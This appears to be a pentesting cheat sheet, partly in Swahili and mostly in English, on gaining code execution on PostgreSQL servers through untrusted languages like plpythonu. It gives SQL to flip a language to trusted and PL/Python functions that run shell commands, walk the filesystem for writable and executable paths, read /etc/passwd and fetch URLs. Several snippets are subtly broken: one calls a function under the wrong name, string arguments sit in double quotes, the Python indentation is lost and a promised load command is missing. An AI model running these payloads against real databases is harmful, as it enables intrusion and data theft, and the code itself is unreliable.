Hifadhi ya data ya PostgreSQL uliyopata ufikiaji inaweza kuwa na lugha za uandishi wa skripti tofauti zilizowekwa ambazo unaweza kuzitumia ili kutekeleza msimbo wowote.
Unaweza kuzipata zinafanya kazi:
sql
\dL *
SELECT lanname,lanpltrusted,lanacl FROM pg_language;
Most of the scripting languages you can install in PostgreSQL have 2 flavours: the trusted and the untrusted. The untrusted will have a name ended in "u" and will be the version that will allow you to execute code and use other interesting functions. This are languages that if installed are interesting:
plpythonu
plpython3u
plperlu
pljavaU
plrubyu
... (any other programming language using an insecure version)
warning
If you find that an interesting language is installed but untrusted by PostgreSQL (lanpltrusted is false) you can try to trust it with the following line so no restrictions will be applied by PostgreSQL:
UPDATE pg_language SET lanpltrusted=true WHERE lanname='plpythonu';
# To check your permissions over the table pg_language
SELECT * FROM information_schema.table_privileges WHERE table_name = 'pg_language';
caution
If you don't see a language, you could try to load it with (you need to be superadmin):
Note that it's possible to compile the secure versions as "unsecure". Check this for example. So it's always worth trying if you can execute code even if you only find installed the trusted one.
CREATE OR REPLACE FUNCTION exec (cmd text)
RETURNS VARCHAR(65535) stable
AS $$
import os
return os.popen(cmd).read()
#return os.execve(cmd, ["/usr/lib64/pgsql92/bin/psql"], {})
$$
LANGUAGE 'plpythonu';
SELECT cmd("ls"); #RCE with popen or execve
sql
CREATE OR REPLACE FUNCTION get_user (pkg text)
RETURNS VARCHAR(65535) stable
AS $$
import os
return os.getlogin()
$$
LANGUAGE 'plpythonu';
SELECT get_user(""); #Get user, para is useless
sql
CREATE OR REPLACE FUNCTION lsdir (dir text)
RETURNS VARCHAR(65535) stable
AS $$
import json
from os import walk
files = next(walk(dir), (None, None, []))
return json.dumps({"root": files[0], "dirs": files[1], "files": files[2]})[:65535]
$$
LANGUAGE 'plpythonu';
SELECT lsdir("/"); #List dir
sql
CREATE OR REPLACE FUNCTION findw (dir text)
RETURNS VARCHAR(65535) stable
AS $$
import os
def my_find(path):
writables = []
def find_writable(path):
if not os.path.isdir(path):
return
if os.access(path, os.W_OK):
writables.append(path)
if not os.listdir(path):
return
else:
for item in os.listdir(path):
find_writable(os.path.join(path, item))
find_writable(path)
return writables
return ", ".join(my_find(dir))
$$
LANGUAGE 'plpythonu';
SELECT findw("/"); #Find Writable folders from a folder (recursively)
sql
CREATE OR REPLACE FUNCTION find_file (exe_sea text)
RETURNS VARCHAR(65535) stable
AS $$
import os
def my_find(path):
executables = []
def find_executables(path):
if not os.path.isdir(path):
executables.append(path)
if os.path.isdir(path):
if not os.listdir(path):
return
else:
for item in os.listdir(path):
find_executables(os.path.join(path, item))
find_executables(path)
return executables
a = my_find("/")
b = []
for i in a:
if exe_sea in os.path.basename(i):
b.append(i)
return ", ".join(b)
$$
LANGUAGE 'plpythonu';
SELECT find_file("psql"); #Find a file
sql
CREATE OR REPLACE FUNCTION findx (dir text)
RETURNS VARCHAR(65535) stable
AS $$
import os
def my_find(path):
executables = []
def find_executables(path):
if not os.path.isdir(path) and os.access(path, os.X_OK):
executables.append(path)
if os.path.isdir(path):
if not os.listdir(path):
return
else:
for item in os.listdir(path):
find_executables(os.path.join(path, item))
find_executables(path)
return executables
a = my_find(dir)
b = []
for i in a:
b.append(os.path.basename(i))
return ", ".join(b)
$$
LANGUAGE 'plpythonu';
SELECT findx("/"); #Find an executables in folder (recursively)
sql
CREATE OR REPLACE FUNCTION find_exe (exe_sea text)
RETURNS VARCHAR(65535) stable
AS $$
import os
def my_find(path):
executables = []
def find_executables(path):
if not os.path.isdir(path) and os.access(path, os.X_OK):
executables.append(path)
if os.path.isdir(path):
if not os.listdir(path):
return
else:
for item in os.listdir(path):
find_executables(os.path.join(path, item))
find_executables(path)
return executables
a = my_find("/")
b = []
for i in a:
if exe_sea in i:
b.append(i)
return ", ".join(b)
$$
LANGUAGE 'plpythonu';
SELECT find_exe("psql"); #Find executable by susbstring
sql
CREATE OR REPLACE FUNCTION read (path text)
RETURNS VARCHAR(65535) stable
AS $$
import base64
encoded_string= base64.b64encode(open(path).read())
return encoded_string.decode('utf-8')
return open(path).read()
$$
LANGUAGE 'plpythonu';
select read('/etc/passwd'); #Read a file in b64
sql
CREATE OR REPLACE FUNCTION get_perms (path text)
RETURNS VARCHAR(65535) stable
AS $$
import os
status = os.stat(path)
perms = oct(status.st_mode)[-3:]
return str(perms)
$$
LANGUAGE 'plpythonu';
select get_perms("/etc/passwd"); # Get perms of file
sql
CREATE OR REPLACE FUNCTION req2 (url text)
RETURNS VARCHAR(65535) stable
AS $$
import urllib
r = urllib.urlopen(url)
return r.read()
$$
LANGUAGE 'plpythonu';
SELECT req2('https://google.com'); #Request using python2
CREATE OR REPLACE FUNCTION req3 (url text)
RETURNS VARCHAR(65535) stable
AS $$
from urllib import request
r = request.urlopen(url)
return r.read()
$$
LANGUAGE 'plpythonu';
SELECT req3('https://google.com'); #Request using python3
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